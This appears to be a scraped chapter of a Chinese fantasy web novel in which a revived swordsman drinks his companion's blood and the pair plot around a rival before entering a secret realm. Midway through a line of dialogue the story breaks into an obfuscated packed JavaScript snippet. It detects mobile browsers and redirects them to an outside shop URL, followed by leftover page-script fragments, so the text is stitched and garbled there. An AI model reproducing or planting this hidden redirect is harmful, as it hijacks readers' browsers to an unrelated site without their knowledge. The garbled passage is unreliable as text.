文趣网 > 其他小说 > 无情道受害者联盟 > 15. 第十五章(二更)
    直到入夜,商飞澜和商云珑才从书房离开。

    风不遇靠在花瓶后,昏昏欲睡,用纸手捂着嘴巴打了个哈欠。

    该听的都听差不多了,只听极细小的“呲”一声,小纸人无声自焚,灰白的纸灰细屑洒落,被仆人洒扫间带起的细风一吹,彻底无影无踪。

    客房内,躺在床上的男人睁开猩红双眼。

    枕头上还残留着皂角的清气,被子也盖得严严实实,连被角都掖好了。

    风不遇迷茫地看着头顶的青色纱帐,有些恍惚。他明明记得,他离开前还坐在轮椅上,怎么现在躺床上了。

    庄错正睡在床榻外侧,背对着他,只穿一件素白中衣,被子只草草搭了半边身子,露出大半结实饱满的深铜色胸膛。

    在城主府的几天,他们为掩人耳目,一直睡在一起,幸好床铺足够大,中间放了两个枕头隔着,也算相安无事。

    风不遇撑着床榻坐起,凝视着庄错的侧脸,一股炽热、腥甜的气味钻进他的鼻腔。

    白日诸事纷杂,他尚且无暇顾及自己的食欲。空虚和饥饿,往往在暗流涌动的漫漫长夜里冒头。

    风不遇盯着庄错,吞了一口唾沫。

    其实他也没想明白,为什么复生后见了这么多人,庄错是唯一一个,能让他感受到血脉偾张、难以自抑,吃了一口就念念不忘的人。

    风不遇很少会压抑自己的欲望,想做什么,他直接就做了。

    他俯身低头,白发如蛛网垂落,小动物似地嗅了嗅庄错颈肩,闻到了一股皂角香被体温蒸腾后,氤氲而成的独特香气,以及一层薄薄皮肤下,奔流的、灼热的、甘甜的血液气息。

    第一次他急于恢复体力,囫囵吞枣,尝个味就过去了。这次,他有充足的时间细细品味。

    于是他低下头,一口咬上庄错脖颈。

    犬齿刺入皮肤的一瞬,温热的血液涌入口中。咸腥的,滚烫的,带着一丝极淡的甜,顺着喉咙滑下去,空了一整天的胃终于有了着落。与此同时,风不遇感觉到自己颈侧也传来一阵细微的刺痛。

    是同生契。

    这点刺痛混杂着酥酥麻麻的痒,像有人用指尖轻轻刮过皮肤,又像一片羽毛贴着血管缓缓滑落。

    风不遇的瞳孔缩成细细一线,一股难以言喻的快乐充斥大脑,让他几乎出现了一种错觉——这不仅仅是在进食,而是在肌肤相亲,水乳交融。

    他的喉间滚出满意的呼噜声,犬齿刺入咽喉后,好似真成了渴血的兽类。

    他发誓,他最初真的只想尝一口,解了腹中饥渴,见好就收,但庄错的血好似让人上瘾的毒药,他吞咽了几口就双目赤红,彻底失去理智,是要将庄错活活吸死在床上。

    若仆人第二日洒扫,看到一具死状如此荒唐的尸体,恐怕要轰动整个花渡城。届时商飞澜也不用渡什么情劫,除什么心魔了。

    前夫死得这么丢脸,他也要被流言蜚语淹死。

    幸好,庄错在风不遇一口咬上他时就醒了。

    他只是在思索——到底什么东西这样渴血?

    魔,吃人,但连肉一起吃。

    妖,吃人,但能不吃就不吃。

    鬼,吃人,但更喜欢吃生魂。

    只有修罗,喋血为生,渴血至死。

    但修罗都在阿鼻地狱里受刑,怎么会出现在人间呢?

    “风不遇。”庄错沉声叫他的名字,但并未唤醒他的理智。

    他一手卡着风不遇的脖子,一手扯住风不遇脑后的发丝,猛然发力,将他硬生生从自己身上撕了下来。

    风不遇头颅被扯着后仰,脖颈青筋毕现。猩红舌尖犹伸着,连着庄错脖颈扯出一条闪着银光的细长血线,尖尖的犬齿还未收回,鲜血浸透下半张脸的纱布,陡增一丝说不清的妖异。

    庄错看见这一幕,呼吸滞了滞。

    风不遇双眸中陡现一丝清明,看见庄错在黑暗中晶亮发光的双眼,无措地眨了眨眼睛。

    他双肘撑着身体,支在庄错身上,见庄错收回卡住自己脖颈的手捂住伤口,也随之俯身,舔了舔。

    冰凉湿润的舌头正好舔在庄错手背上,好似白色的蛇信,懵懂试探着,一下一下,没个章法。

    庄错太阳穴突突直跳,他从未处理过类似情况,只能等风不遇自行清醒。

    潮湿的水声中,也不知风不遇舔了多久,庄错的血都止住了,风不遇的双瞳才由红转黑。他看着自己身下的庄错,黑琉璃似的眸子忽明忽灭,但没有过多错愕。

    庄错嘲弄道:“你怎么不说话?”

    “我的血好喝吗?”

    听到庄错的话,风不遇从自己唇角沾了一点,将食指放在庄错唇边。

    见庄错半天没反应,他轻轻“嘁”了一声,干脆将那抹血擦在庄错下唇。

    “喏。”

    做完这一切之后,他朝榻里一倒,兀自睡了。

    一室黑暗中,独留庄错浑身僵直,震惊地盯着青纱帐,难以成眠。

    他不敢翻身,也不敢抬手擦去唇边血迹。

    灵台完全被炸成一片废墟。

    他疯了还是我疯了!?

    为什么这血还甜甜的带着桂花糕味?

    一定是这小子白天吃太多桂花糕了!

    而同样难以成眠的,并不只他一人。

    风不遇侧身朝墙,虽闭着眼,但也没睡着。

    他在思索——

    是不是给庄错刺激太过了?

    他喜欢的是商飞澜那种病弱美人款……自己是不是太主动太直白,给他吓到了?

    自己现在又残又丑,他不会觉得自己在搔首弄姿吧?

    要是自己原来那张英俊绝伦的脸还在,管他什么神尊魔尊,不都信手拈来!

    风不遇愁得直叹气,心道勾引人果然还是得看脸,一张标志的俊脸比什么手段都好使。他头抵着墙,凄凉地抱着自己两条胳膊,迫不及待想要将今夜遗忘。

    第二日,风不遇和庄错两人早早就起了床。

    他们默默洗漱,默默处理染血的床单,默默整理秘境之行的装备。

    二人对视,看着彼此眼下的青黑,双双意味深长地一笑,都选择缄默不语。

    可脖子上的伤口太过扎眼,血痂周围青紫一片,瞅着骇人。庄错不得不取来一卷纱带,学着风不遇的样子,在自己脖子上缠了几圈。

    一转头,风不遇正直勾勾看着他。

    庄错尴尬地将手虚握成拳,放在嘴边轻咳两声,问道:“昨天你出去干什么了?”

    风不遇回答道:“我看见商飞澜了。”

    庄错被自己的口水呛到,“你……你咳咳……他……他有什么好看的!?”

    商飞澜又干了什么,刺激到他了?

    风不遇道:“他和公孙宇策合谋,要在南烛秘境里杀了我们。”

    庄错听到这句话,可以说毫不意外。

    风不遇弯了弯眼睛,对庄错勾了勾手,示意他凑近些。庄错警惕地看着他。

    但看着风不遇闪闪发光的黑眸,他还是弯腰,将耳朵凑到风不遇嘴边。

    说完计划,风不遇问道:“你觉得如何?”

    庄错深吸一口气,极力忽视方才风不遇微凉湿润的气息往耳蜗里钻的酥麻感,沉声道道:“不错。”

    用过早膳,风不遇和庄错一同前往城主府前厅集合。

    卯时未至,城主府前厅已聚满了人。各门各派的修士三三两两散在厅中,几个城主府的门客在穿梭张罗,端茶递水,倒也井然有序。

    风不遇扫视一圈,果然见商飞澜身后立着尹青和几个商家亲卫,正众星拱月般立于人群中央,与一众玉京修士相谈甚欢。

    商飞澜显然也注意到了他们,眸光却只淡淡从他们扫过,像没看着他们似的。围拢在商飞澜身边的修士也注意到了这边,不忘向商飞澜奉承,“商少主宽宏大量,实乃吾辈楷模。”

    尹青却像极了一只应激的恶犬,用阴鸷的眼神瞪视庄错,警告他不要靠近商飞澜。

    庄错转头对风不遇说:“看到没有,好大一条狗。”

    风不遇回:“咬人的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794533|210471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    狗不叫,叫唤的狗不咬,你离远点,小心他咬了你。”

    二人聊天的声音不大不小,正好够传入尹青耳中。尹青脸色一变,正要朝二人走去,就听风不遇又道:“诶呀诶呀,狗要咬人了!”

    尹青怒道:“你们……”话还没说完,就被商飞澜抬手拦下,商飞澜轻咳两声,呵斥道:“他们口无遮拦就算了,你是云荒商家的人,怎可随他们自甘下流。”

    风不遇挑眉,心道商飞澜这句“自甘下流”骂得真脏啊!

    他正准备怼回去,就听远远一道声音传来,“庄六郎,哪里有狗啊?我怎么没看着?”

    闻声回头,一页秋正朝他们走来,身旁还跟着林恺行和唐霜若。

    一页秋道:“狗这东西啊,记吃不记打,你要不把它打服了,它还要跑回来报复呢!”

    这下,就连商飞澜也无法维持淡然,但碍于商家的家教,只能站着挨骂。

    幸好公孙宇策及时从后堂走出,拯救了商家岌岌可危的颜面。

    他环顾四周,朗声道:“诸位仙友,时辰将至,请诸位随传送阵前往青杖崖。”

    他话音刚落,身后十名阵修同时抬手掐诀,一道蓝色阵纹自他们脚下蔓延开来,在厅堂中央铺展成一座传送阵法。灵光如涟漪扩散,将整座前厅笼罩在一层淡蓝色的光晕中。

    倏忽间,近百人已瞬移至青杖崖。

    青杖崖顶,卯时正。

    秘境入口在云层中缓缓撕裂开来,如一道被烧红的刀刃在天空划开的伤口。率先抵达的修士们已三三两两踏入光门。

    众人纷纷入内,眼看留在崖上的人越来越少。只听“锵——”一声剑鸣,林恺行也唤出了本命剑知了,御剑朝光门飞去,一页秋和唐霜若紧随其后。

    路过风不遇身边时,林恺行看了他一眼,又看了庄错一眼,嘴唇动了动,最后只道了句:“你们也小心点。”

    眼看一个个熟悉的身影从他们身边飞过,风不遇却闲适地靠在轮椅上,没有丝毫要动的意思。

    庄错在他身边,也不动。

    商飞澜和尹青看着他们动静,同样没动。

    尹青终于忍不住压低声音道:“少主,他们怎么还不进去?”

    商飞澜没有回答。

    风不遇偏头看向商飞澜:“商少主,还不走?光门要关了,你不去我可去了。”

    撂下这句话,他就御风托起轮椅,头也不回地进了光门。

    庄错站在原地,没有要进去的意思。

    商飞澜错愕地看着他:“你不去?”

    庄错的语气理所当然,坦坦荡荡,“我现在靠他养,当然不去。”

    商飞澜忽而注意到他颈间的白色纱带,纱带下藏着什么,不言而喻。

    他握着羽扇的手指节泛白,那双纤长的眼眸里有什么东西在碎裂,“你以前不是这样的。”

    庄错看着他,目光平静。“以前是以前,”他顿了顿,唇角微微扬起一个弧度,不“现在是现在。”

    商飞澜的肩膀几不可察地晃了一下。

    光门已经开始缓缓收缩,裂隙边缘的赤金色流光以肉眼可见的速度向内收拢。

    “少主,再不进去就来不及了!”尹青急声道。

    商飞澜猛然转身,大步朝光门走去。走了几步他又停住,回头看了一眼庄错。庄错却在此时转身,随着送行返程的人流向山崖下走去。

    商飞澜收回目光,一脚踏入光门,尹青紧随其后。

    而在他们身后,庄错手指轻轻拂过缠在腰间的腰带。

    这腰带灰扑扑的,似乎没什么稀奇,若有人仔细去看,就会发现这并非腰带,而是一柄缠在腰间的软剑。

    庄错不用剑,用剑的是风不遇,而风不遇只有一柄剑,那柄剑叫“斩春风”。

    下一秒,人堆里的玄衣身影消失不见。

    无人注意的角落,一缕极淡的青光倏忽之间钻入了那道尚未弥合的虚空裂隙之中。

    裂隙合拢,天地如常。

    青杖崖上,云卷云舒,风过无痕。